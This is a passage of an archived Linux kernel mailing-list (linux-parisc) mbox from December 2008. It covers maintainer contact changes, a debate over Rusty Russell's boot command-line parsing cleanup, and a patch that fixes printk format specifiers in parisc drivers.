	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1754984AbYLIXMA (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 9 Dec 2008 18:12:00 -0500
Original-Received: (qmail invoked by alias); 09 Dec 2008 23:11:58 -0000
Original-Received: from mnhm-590f7371.pool.einsundeins.de (EHLO halden.box) [89.15.115.113]
  by mail.gmx.net (mp010) with SMTP; 10 Dec 2008 00:11:58 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19TQiwFtVJTXvcqQUzt7kTY2dmiLfdtxUoOyFuScs
	TYSHz1NQy6oR+j
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <20081209224430.GC24334@colo.lackof.org>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.6
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:937
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/937>

Grant Grundler wrote:
> On Wed, Dec 10, 2008 at 08:36:19AM +1030, Rusty Russell wrote:
>> On Tuesday 09 December 2008 14:24:07 Kyle McMartin wrote:
>>> On Thu, Dec 04, 2008 at 10:12:41AM +1030, Rusty Russell wrote:
>>>> This is defined in linux/cpumask.h (included in this file already),
>>>> and this will break when the definition changes (in a following patch).
>>>>
>>>> Signed-off-by: Rusty Russell <rusty@rustcorp.com.au>
>>> Accepted, though it would have been nice if it had either hit all the
>>> maintainers, or hit the list too...
>> OK, I picked one maintainer at semi-random.   I've added you and Willy
>> to my annoy-maintainers script.
> 
> Rusty,
> willy and I should be dropped as parisc-linux maintainers.
> (We can review parisc patches, just not listed as maintainers.)
> 
> Please add Helge Deller <deller@gmx.net> (IIRC).

Rusty,

Please use: Helge Deller <deller@gmx.de>

Thanks,
Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: setup_arch/arch_get_boot_command_line changes
Date: Tue, 9 Dec 2008 18:33:47 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <20081209233347.GD7015@bombadil.infradead.org>
References: <200812100850.26728.rusty@rustcorp.com.au> <20081209225931.GA7015@bombadil.infradead.org> <20081209230214.GB7015@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1228865662 30047 80.91.229.12 (9 Dec 2008 23:34:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Dec 2008 23:34:22 +0000 (UTC)
Cc: Rusty Russell <rusty@rustcorp.com.au>,
	Stephen Rothwell <sfr@canb.auug.org.au>,
	linux-kernel@vger.kernel.org, dhowells@redhat.com,
	Richard Henderson <rth@twiddle.net>,
	Russell King <rmk@arm.linux.org.uk>,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Bryan Wu <cooloney@kernel.org>,
	Mikael Starvik <starvik@axis.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Tony Luck <tony.luck@intel.com>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Greg Ungerer <gerg@uclinux.org>,
	Ralf Baechle <ralf@linux-mips.org>,
	linux-parisc@vger.kernel.org, Paul Mackerras <paulus@samba.org>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Paul Mundt <lethal@linux-sh.org>,
	"David S. Miller" <davem@davemloft.net>,
	Jeff Dike <jdike@addtoit.com>, Ingo Molnar <mingo@redhat.com>,
	Chris Zankel <chris@zankel.net>,
	Linus Torvalds <torvalds@linux-foundation.org>
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 10 00:35:22 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LAC6h-000244-7L
	for glpp-linux-parisc@gmane.org; Wed, 10 Dec 2008 00:35:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750941AbYLIXd5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 9 Dec 2008 18:33:57 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751396AbYLIXd5
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 9 Dec 2008 18:33:57 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:46872 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750941AbYLIXd4 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 9 Dec 2008 18:33:56 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1LAC5M-0001hs-03; Tue, 09 Dec 2008 23:33:48 +0000
Content-Disposition: inline
In-Reply-To: <20081209230214.GB7015@bombadil.infradead.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:938 gmane.linux.kernel:767207
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/938>

On Tue, Dec 09, 2008 at 06:02:14PM -0500, Kyle McMartin wrote:
> On Tue, Dec 09, 2008 at 05:59:31PM -0500, Kyle McMartin wrote:
> > Will this not run afoul of lockdep since it will be attempting to take
> > locks before lockdep has initialized?
> > 
> 
> Ah, printk calls lockdep_off now. Handy.
> 

Nevermind, this doesn't do what I think it does... Rusty, does this work
with lockdep enabled?
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: setup_arch/arch_get_boot_command_line changes
Date: Tue, 9 Dec 2008 15:54:11 -0800 (PST)
Lines: 22
Approved: news@gmane.org
Message-ID: <alpine.LFD.2.00.0812091553250.3340@localhost.localdomain>
References: <200812100850.26728.rusty@rustcorp.com.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1228866985 1060 80.91.229.12 (9 Dec 2008 23:56:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Dec 2008 23:56:25 +0000 (UTC)
Cc: Stephen Rothwell <sfr@canb.auug.org.au>,
	linux-kernel@vger.kernel.org, dhowells@redhat.com,
	Richard Henderson <rth@twiddle.net>,
	Russell King <rmk@arm.linux.org.uk>,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Bryan Wu <cooloney@kernel.org>,
	Mikael Starvik <starvik@axis.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Tony Luck <tony.luck@intel.com>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Greg Ungerer <gerg@uclinux.org>,
	Ralf Baechle <ralf@linux-mips.org>,
	linux-parisc@vger.kernel.org, Paul Mackerras <paulus@samba.org>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Paul Mundt <lethal@linux-sh.org>,
	"David S. Miller" <davem@davemloft.net>,
	Jeff Dike <jdike@addtoit.com>, Ingo Molnar <mingo@redhat.com>,
	Chris Zankel <chris@zankel.net>
To: Rusty Russell <rusty@rustcorp.com.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 10 00:57:24 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LACSB-0000Xw-P1
	for glpp-linux-parisc@gmane.org; Wed, 10 Dec 2008 00:57:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753956AbYLIX4J (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 9 Dec 2008 18:56:09 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753908AbYLIX4J
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 9 Dec 2008 18:56:09 -0500
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:42879 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750941AbYLIX4I (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 9 Dec 2008 18:56:08 -0500
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id mB9NsEWm008410
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Tue, 9 Dec 2008 15:54:15 -0800
Original-Received: from localhost (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with ESMTP id mB9NsBnN001708;
	Tue, 9 Dec 2008 15:54:11 -0800
X-X-Sender: torvalds@localhost.localdomain
In-Reply-To: <200812100850.26728.rusty@rustcorp.com.au>
User-Agent: Alpine 2.00 (LFD 1167 2008-08-23)
X-Spam-Status: No, hits=-3.427 required=5 tests=AWL,BAYES_00
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:939 gmane.linux.kernel:767214
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/939>



On Wed, 10 Dec 2008, Rusty Russell wrote:
>
> OK, I've folded in all the fixes, thanks.  Git tree is here:
> 
> 	git://git.kernel.org/pub/scm/linux/kernel/git/rusty/linux-2.6-boot-params.git
> 
> Stephen, please include in linux-next.  Clearly this hits every arch.  I'll
> try to avoid rebasing unless I've broken some arch horribly.

This looks really invasive, with absolutely zero explanations of what the 
point of it all is.

What?

		Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: resource_size_t printk woes...
Date: Tue, 9 Dec 2008 23:05:48 -0500 (EST)
Lines: 191
Approved: news@gmane.org
Message-ID: <20081210040549.5E7E64EF0@hiauly1.hia.nrc.ca>
References: <20081209034431.GE30783@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1228881988 2853 80.91.229.12 (10 Dec 2008 04:06:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 10 Dec 2008 04:06:28 +0000 (UTC)
Cc: kyle@infradead.org, linux-parisc@vger.kernel.org
To: kyle@infradead.org (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 10 05:07:34 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LAGMH-000326-1X
	for glpp-linux-parisc@gmane.org; Wed, 10 Dec 2008 05:07:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751820AbYLJEFz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 9 Dec 2008 23:05:55 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752006AbYLJEFz
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 9 Dec 2008 23:05:55 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1922 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751820AbYLJEFy (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 9 Dec 2008 23:05:54 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 5E7E64EF0; Tue,  9 Dec 2008 23:05:48 -0500 (EST)
In-Reply-To: <20081209034431.GE30783@bombadil.infradead.org> from "Kyle McMartin" at Dec 8, 2008 10:44:31 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:940
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/940>

> On Mon, Dec 08, 2008 at 11:00:51AM -0500, Kyle McMartin wrote:

> diff --git a/lib/vsprintf.c b/lib/vsprintf.c
> index a013bbc..342496f 100644
> --- a/lib/vsprintf.c
> +++ b/lib/vsprintf.c
> @@ -607,6 +607,12 @@ static char *pointer(const char *fmt, char *buf, char *end, void *ptr, int field
>  		return symbol_string(buf, end, ptr, field_width, precision, flags);
>  	case 'R':
>  		return resource_string(buf, end, ptr, field_width, precision, flags);

Hmmm, what's this?  It appears this provides a model for printing just
the start value.  The size of the character array depends on the sizeof
resource_size_t.  There's also a flag dependence.

Attached below is the change that I had.  Think this includes some
additional locations to update.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

diff -upr a/drivers/input/keyboard/hilkbd.c b/drivers/input/keyboard/hilkbd.c
--- a/drivers/input/keyboard/hilkbd.c	2008-12-01 22:59:23.000000000 -0500
+++ b/drivers/input/keyboard/hilkbd.c	2008-12-07 17:10:53.000000000 -0500
@@ -314,7 +314,7 @@ static int __init
 hil_init_chip(struct parisc_device *dev)
 {
 	if (!dev->irq) {
-		printk(KERN_WARNING "HIL: IRQ not found for HIL bus at 0x%08lx\n", dev->hpa.start);
+		printk(KERN_WARNING "HIL: IRQ not found for HIL bus at 0x%p\n", (void *)dev->hpa.start);
 		return -ENODEV;
 	}
 
diff -upr a/drivers/net/lasi_82596.c b/drivers/net/lasi_82596.c
--- a/drivers/net/lasi_82596.c	2008-12-01 22:59:23.000000000 -0500
+++ b/drivers/net/lasi_82596.c	2008-12-07 17:13:51.000000000 -0500
@@ -160,13 +160,13 @@ lan_init_chip(struct parisc_device *dev)
 	int i;
 
 	if (!dev->irq) {
-		printk(KERN_ERR "%s: IRQ not found for i82596 at 0x%lx\n",
-			__FILE__, dev->hpa.start);
+		printk(KERN_ERR "%s: IRQ not found for i82596 at 0x%p\n",
+			__FILE__, (void *)dev->hpa.start);
 		return -ENODEV;
 	}
 
-	printk(KERN_INFO "Found i82596 at 0x%lx, IRQ %d\n", dev->hpa.start,
-			dev->irq);
+	printk(KERN_INFO "Found i82596 at 0x%p, IRQ %d\n",
+		(void *)dev->hpa.start, dev->irq);
 
 	netdevice = alloc_etherdev(sizeof(struct i596_private));
 	if (!netdevice)
diff -upr a/drivers/parisc/asp.c b/drivers/parisc/asp.c
--- a/drivers/parisc/asp.c	2008-12-01 22:59:23.000000000 -0500
+++ b/drivers/parisc/asp.c	2008-12-07 17:22:30.000000000 -0500
@@ -81,8 +81,8 @@ asp_init_chip(struct parisc_device *dev)
 	asp.name = (asp.version == 1) ? "Asp" : "Cutoff";
 	asp.hpa = ASP_INTERRUPT_ADDR;
 
-	printk(KERN_INFO "%s version %d at 0x%lx found.\n", 
-		asp.name, asp.version, dev->hpa.start);
+	printk(KERN_INFO "%s version %d at 0x%p found.\n", 
+		asp.name, asp.version, (void *)dev->hpa.start);
 
 	/* the IRQ ASP should use */
 	ret = -EBUSY;
diff -upr a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
--- a/drivers/parisc/ccio-dma.c	2008-12-01 22:59:23.000000000 -0500
+++ b/drivers/parisc/ccio-dma.c	2008-12-07 19:13:51.000000000 -0500
@@ -1399,8 +1401,8 @@ ccio_init_resource(struct resource *res,
 	 */
 	result = insert_resource(&iomem_resource, res);
 	if (result < 0) {
-		printk(KERN_ERR "%s() failed to claim CCIO bus address space (%08lx,%08lx)\n", 
-			__func__, res->start, res->end);
+		printk(KERN_ERR "%s() failed to claim CCIO bus address space (0x%p,0x%p)\n", 
+			__func__, (void *)res->start, (void *)res->end);
 	}
 }
 
@@ -1551,7 +1553,8 @@ static int __init ccio_probe(struct pari
 
 	ioc->name = dev->id.hversion == U2_IOA_RUNWAY ? "U2" : "UTurn";
 
-	printk(KERN_INFO "Found %s at 0x%lx\n", ioc->name, dev->hpa.start);
+	printk(KERN_INFO "Found %s at 0x%p\n", ioc->name,
+		(void *)dev->hpa.start);
 
 	for (i = 0; i < ioc_count; i++) {
 		ioc_p = &(*ioc_p)->next;
diff -upr a/drivers/parisc/dino.c b/drivers/parisc/dino.c
--- a/drivers/parisc/dino.c	2008-12-01 22:59:23.000000000 -0500
+++ b/drivers/parisc/dino.c	2008-12-07 19:31:24.000000000 -0500
@@ -819,7 +821,7 @@ dino_bridge_init(struct dino_device *din
 
 		result = ccio_request_resource(dino_dev->hba.dev, &res[i]);
 		if (result < 0) {
-			printk(KERN_ERR "%s: failed to claim PCI Bus address space %d (0x%lx-0x%lx)!\n", name, i, res[i].start, res[i].end);
+			printk(KERN_ERR "%s: failed to claim PCI Bus address space %d (0x%p-0x%p)!\n", name, i, (void *)res[i].start, (void *)res[i].end);
 			return result;
 		}
 	}
@@ -898,8 +900,9 @@ static int __init dino_common_init(struc
 	res->flags = IORESOURCE_IO; /* do not mark it busy ! */
 	if (request_resource(&ioport_resource, res) < 0) {
 		printk(KERN_ERR "%s: request I/O Port region failed "
-		       "0x%lx/%lx (hpa 0x%p)\n",
-		       name, res->start, res->end, dino_dev->hba.base_addr);
+		       "0x%p/%p (hpa 0x%p)\n",
+		       name, (void *)res->start, (void *)res->end,
+		       dino_dev->hba.base_addr);
 		return 1;
 	}
 
diff -upr a/drivers/parisc/hppb.c b/drivers/parisc/hppb.c
--- a/drivers/parisc/hppb.c	2008-12-01 22:59:23.000000000 -0500
+++ b/drivers/parisc/hppb.c	2008-12-07 17:19:14.000000000 -0500
@@ -62,7 +62,7 @@ static int hppb_probe(struct parisc_devi
 		}
 		card = card->next;
 	}
-        printk(KERN_INFO "Found GeckoBoa at 0x%x\n", dev->hpa.start);
+        printk(KERN_INFO "Found GeckoBoa at 0x%p\n", (void *)dev->hpa.start);
 
 	card->hpa = dev->hpa.start;
 	card->mmio_region.name = "HP-PB Bus";
@@ -73,8 +73,10 @@ static int hppb_probe(struct parisc_devi
 
 	status = ccio_request_resource(dev, &card->mmio_region);
 	if(status < 0) {
-		printk(KERN_ERR "%s: failed to claim HP-PB bus space (%08x, %08x)\n",
-			__FILE__, card->mmio_region.start, card->mmio_region.end);
+		printk(KERN_ERR "%s: failed to claim HP-PB bus space (0x%p, 0x%p)\n",
+			__FILE__,
+			(void *)card->mmio_region.start,
+			(void *)card->mmio_region.end);
 	}
 
         return 0;
diff -upr a/drivers/parport/parport_gsc.c b/drivers/parport/parport_gsc.c
--- a/drivers/parport/parport_gsc.c	2008-12-01 22:59:23.000000000 -0500
+++ b/drivers/parport/parport_gsc.c	2008-12-07 17:23:13.000000000 -0500
@@ -352,8 +352,8 @@ static int __devinit parport_init_chip(s
 	unsigned long port;
 
 	if (!dev->irq) {
-		printk(KERN_WARNING "IRQ not found for parallel device at 0x%lx\n",
-			dev->hpa.start);
+		printk(KERN_WARNING "IRQ not found for parallel device at 0x%p\n",
+			(void *)dev->hpa.start);
 		return -ENODEV;
 	}
 
diff -upr a/drivers/serial/8250_gsc.c b/drivers/serial/8250_gsc.c
--- a/drivers/serial/8250_gsc.c	2008-12-01 22:59:23.000000000 -0500
+++ b/drivers/serial/8250_gsc.c	2008-12-07 17:24:15.000000000 -0500
@@ -39,9 +39,9 @@ static int __init serial_init_chip(struc
 		 */
 		if (parisc_parent(dev)->id.hw_type != HPHW_IOA)
 			printk(KERN_INFO
-				"Serial: device 0x%lx not configured.\n"
+				"Serial: device 0x%p not configured.\n"
 				"Enable support for Wax, Lasi, Asp or Dino.\n",
-				dev->hpa.start);
+				(void *)dev->hpa.start);
 		return -ENODEV;
 	}
 
diff -upr a/sound/parisc/harmony.c b/sound/parisc/harmony.c
--- a/sound/parisc/harmony.c	2008-12-01 22:59:23.000000000 -0500
+++ b/sound/parisc/harmony.c	2008-12-07 17:24:55.000000000 -0500
@@ -934,8 +934,8 @@ snd_harmony_create(struct snd_card *card
 	h->irq = -1;
 	h->iobase = ioremap_nocache(padev->hpa.start, HARMONY_SIZE);
 	if (h->iobase == NULL) {
-		printk(KERN_ERR PFX "unable to remap hpa 0x%lx\n",
-		       padev->hpa.start);
+		printk(KERN_ERR PFX "unable to remap hpa 0x%p\n",
+		       (void *)padev->hpa.start);
 		err = -EBUSY;
 		goto free_and_ret;
 	}
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rusty Russell <rusty@rustcorp.com.au>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: setup_arch/arch_get_boot_command_line changes
Date: Wed, 10 Dec 2008 22:57:42 +1030
Lines: 72
Approved: news@gmane.org
Message-ID: <200812102257.44195.rusty@rustcorp.com.au>
References: <200812100850.26728.rusty@rustcorp.com.au> <alpine.LFD.2.00.0812091553250.3340@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1228912107 15667 80.91.229.12 (10 Dec 2008 12:28:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 10 Dec 2008 12:28:27 +0000 (UTC)
Cc: Stephen Rothwell <sfr@canb.auug.org.au>,
	linux-kernel@vger.kernel.org, dhowells@redhat.com,
	Richard Henderson <rth@twiddle.net>,
	Russell King <rmk@arm.linux.org.uk>,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Bryan Wu <cooloney@kernel.org>,
	Mikael Starvik <starvik@axis.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Tony Luck <tony.luck@intel.com>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Greg Ungerer <gerg@uclinux.org>,
	Ralf Baechle <ralf@linux-mips.org>,
	linux-parisc@vger.kernel.org, Paul Mackerras <paulus@samba.org>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Paul Mundt <lethal@linux-sh.org>,
	"David S. Miller" <davem@davemloft.net>,
	Jeff Dike <jdike@addtoit.com>, Ingo Molnar <mingo@redhat.com>,
	Chris Zankel <chris@zankel.net>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 10 13:29:27 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LAOBl-0002PK-57
	for glpp-linux-parisc@gmane.org; Wed, 10 Dec 2008 13:29:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751127AbYLJM1w (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 10 Dec 2008 07:27:52 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751539AbYLJM1w
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 10 Dec 2008 07:27:52 -0500
Original-Received: from ozlabs.org ([203.10.76.45]:50696 "EHLO ozlabs.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750961AbYLJM1u (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 10 Dec 2008 07:27:50 -0500
Original-Received: from vivaldi.localnet (unknown [150.101.102.135])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by ozlabs.org (Postfix) with ESMTPSA id DBC36DDF70;
	Wed, 10 Dec 2008 23:27:47 +1100 (EST)
User-Agent: KMail/1.10.1 (Linux/2.6.27-9-generic; KDE/4.1.2; i686; ; )
In-Reply-To: <alpine.LFD.2.00.0812091553250.3340@localhost.localdomain>
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:941 gmane.linux.kernel:767361
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/941>

On Wednesday 10 December 2008 10:24:11 Linus Torvalds wrote:
> This looks really invasive, with absolutely zero explanations of what the 
> point of it all is.
> 
> What?

Sorry, it's a cleanup.  I wanted start_kernel(const char *cmdline), but that
was even more invasive.

Justification: there are about five command line parsing systems in the
kernel at the moment, and about the same number of copies of the command
line.  Here's how it works at the moment:

1) setup_arch(char **cmdlinep) is called.  This copies the command line
   into boot_command_line, and also returns a pointer in cmdlinep.  That
   pointer is not usually boot_command_line, but an arch-internal cmdline
   which for some archs have deleted already-parsed options.  Some archs
   do strstr parsing of the command line here.

2) parse_early_param() is called by some archs from setup_arch.  This copies
   boot_command_line into an __initdata temporary to parse for early_param().
   early_param() look like foo[=bar] and go for a generic callback: they
   are usually sloppily parsed but simple.

   Other archs don't call this, so we call it again later in start_kernel.

   (parse_early_param() can't be called before setup_arch because we don't
   know the command line yet, but many archs need the parsing done to
   complete setup_arch.)

3) setup_command_line() copies boot_command_line into saved_command_line,
   because boot_command_line is __initdata, and we need to save it for proc.
   It also copies the cmdlinep returned from setup_arch into
   static_command_line, because cmdlinep may point to initdata, and
   traditionally command line callbacks are allowed to keep pointers to
   their args so we need to keep the (mangled) cmdline around.

4) We parse the command line again, matching for core_param, module_param
   and __setup.  module_param is the standard modname.arg, and core_param
   is just 'arg'.  They both can (optionally) make the args read/writable
   in sysfs, and are trivial and typesafe to use.  __setup() is a generic
   prefix-matching callback which has been around forever.

5) IA64 needs machvec= processed before any of the other early_param()
   calls, so it grabs this manually.  It leaves it in the command line, so
   it seems that init gets a $machvec in its environment if this was set.

6) Arm uses __early_param which is arm-specific.  This is like early_param,
   only different.

New code:
1) arch_get_boot_command_line() just gets the command-line at the start of
   setup_arch.  Making copies etc. is all in generic code.
2) early_param and core_param are parsed just after, so you can rely
   on the results in setup_arch(), which no longer does any command line
   stuff.
3) Three copies of command line total: char __initdata boot_command_line[]
   since we can't alloc, char *saved_command_line for proc, and static char *
   static_command_line for __setup/module_param to keep references to.
4) Some archs still have working copies of the command line, but they don't
   need to and I put in FIXMEs.
5) IA64 still has to handle machvec= manually.  AFAICT it's the only one, so
   not worth putting in a boutique pre-early_param for that.

It's a nice cleanup, but it's not a revolutionary improvement IMHO.

Rusty.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rusty Russell <rusty@rustcorp.com.au>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: setup_arch/arch_get_boot_command_line changes
Date: Wed, 10 Dec 2008 23:14:59 +1030
Lines: 28
Approved: news@gmane.org
Message-ID: <200812102315.01416.rusty@rustcorp.com.au>
References: <200812100850.26728.rusty@rustcorp.com.au> <20081209225931.GA7015@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
